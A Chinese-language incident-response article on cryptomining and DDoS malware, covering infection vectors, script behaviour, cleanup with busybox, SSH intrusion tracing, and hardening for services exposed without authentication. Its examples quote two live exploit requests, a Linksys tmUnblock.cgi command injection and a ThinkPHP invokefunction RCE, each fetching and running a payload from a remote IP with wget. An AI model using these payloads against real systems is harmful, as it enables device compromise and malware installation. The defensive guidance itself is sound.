挖礦病毒、ddos入侵流程及溯源

一 挖礦病毒簡介
 攻擊者利用相關安全隱患向目標機器種植病毒的行爲。
二 攻擊方式
攻擊者一般利用弱口令、未受權、代碼執行、命令執行等漏洞進行傳播。示例以下:
示例1:
 
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget  http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
示例二:
 
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget  http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
 
三 腳本流程
   3.一、殺死其餘同類產品以及安全軟件。好比安騎士、青藤雲等等
  3.二、每隔必定週期檢測一次進程是否存
  3.三、添加計劃任務
  3.四、檢查木馬文件是否存在
  3.五、檢查發現不存在木馬文件就會自行遠程下載並執行
   
四 排查思路
    4.0 斷網
    4.1 檢查計劃任務,並將計劃任務的域名或者ip寫入到 /etc/resolv.conf中,綁定爲 127.0.0.1  腳本域名
    4.2 上傳busybox
    4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照腳本內容依次刪除挖礦腳本添加的內容
    4.4 使用busybox檢查本機是否被寫入惡意so。通常so地址爲:/usr/lib/ 如有新增so,則使用busybox  rm 刪除
    4.5 進入/proc/目錄 計算全部pid 的md5值。 即執行 md5sum /proc/$pid/exe 並將獲得的md5值去威脅情報社區(微步或者VT)查詢相關信息
    4.6 確認刪除計劃任務、惡意so、挖礦進程後重啓機器。隨後再次檢查
    
五 入侵溯源
    5.1 ssh入侵。
        grep ‘Accept’ /var/secure*
        strings     /var/wtmp
        strings     /var/lastlog
        strings     /var/utmp
        strings     /var/log/boot.log
        cat.        /root/.ssh/authorized_keys
 
通常而言,若在挖礦腳本中發現以上文件被刪除或者置空,則99%可肯定爲是 經過ssh 爆破進來,則修復建議以下:
    5.1.1 升級openssh
    5.1.2  使用長度大約8的多種字符組合的密碼
    5.1.3 安裝fail2ban,
5.2 未受權入侵。 
常見存在未受權的應用以下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
 
 
服務名 常見未受權緣由 修復建議
redis 6379對外開放,且使用弱口令或者未設置密碼
1 iptables 設定6379 ip白名單
2 設置redis強口令
jenkins 弱口令、script未受權
1 設置強密碼
2 管理後臺建議禁止開放公網,建議使用iptables指定來源ip
mongodb 27017 
1 本地訪問
bind 127.0.0.1
2 修改默認端口
修改默認的mongoDB端口(默認爲: TCP 27017)爲其餘端口
3 禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6之後這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,通常不須要經過web方式進行遠程管理,建議禁用。修改配置文件或在啓動的時候選擇–nohttpinterface 參數nohttpinterface = false
4 開啓日誌審計功能
審計功能能夠用來記錄用戶對數據庫的全部相關操做。這些記錄可讓系統管理員在須要的時候分析數據庫在什麼時段發生了什麼事情
5 開啓auth認證
/etc/mongodb.conf  
auth = true 
6 開啓鑑權模式
zookeeper 2181
1 禁止把Zookeeper直接暴露在公網
2 添加訪問控制,根據狀況選擇對應方式(認證用戶,用戶名密碼,指定IP)
Es 9200
1 默認開啓的9200端口和使用的端口不對外公佈,或架設內網環境。或者防火牆上設置禁止外網訪問9200端口。
 
2 架設nginx反向代理服務器,並設置http basic認證來實現elasticsearch的登陸認證。
3 限制IP訪問,綁定固定IP
4 爲elasticsearch增長登陸驗證,可使用官方推薦的shield插件.
Memcache 11211
1.限制訪問
2.防火牆
3.使用最小化權限帳號運行Memcached服務
4.啓用認證功能
5.修改默認端口
6.按期升級
Hadoop 8088
1 網絡訪問控制
2 啓用認證功能
3 更新補丁
 
Couchdb 5984
1 指定CouchDB綁定的IP
2 設置訪問密碼
Docker  2181
1 網絡訪問控制
2 低權限運行
K8s 8080、6443
1 身份校驗
2 設置密碼
cms 代碼執行、命令執行、注入等等 升級、打補丁
總之根據對應的服務,一一排查,挖礦病毒、ddos病毒類的都是腳本自動化執行,通常都是以上安全隱患形成的中毒。
相關文章
相關標籤/搜索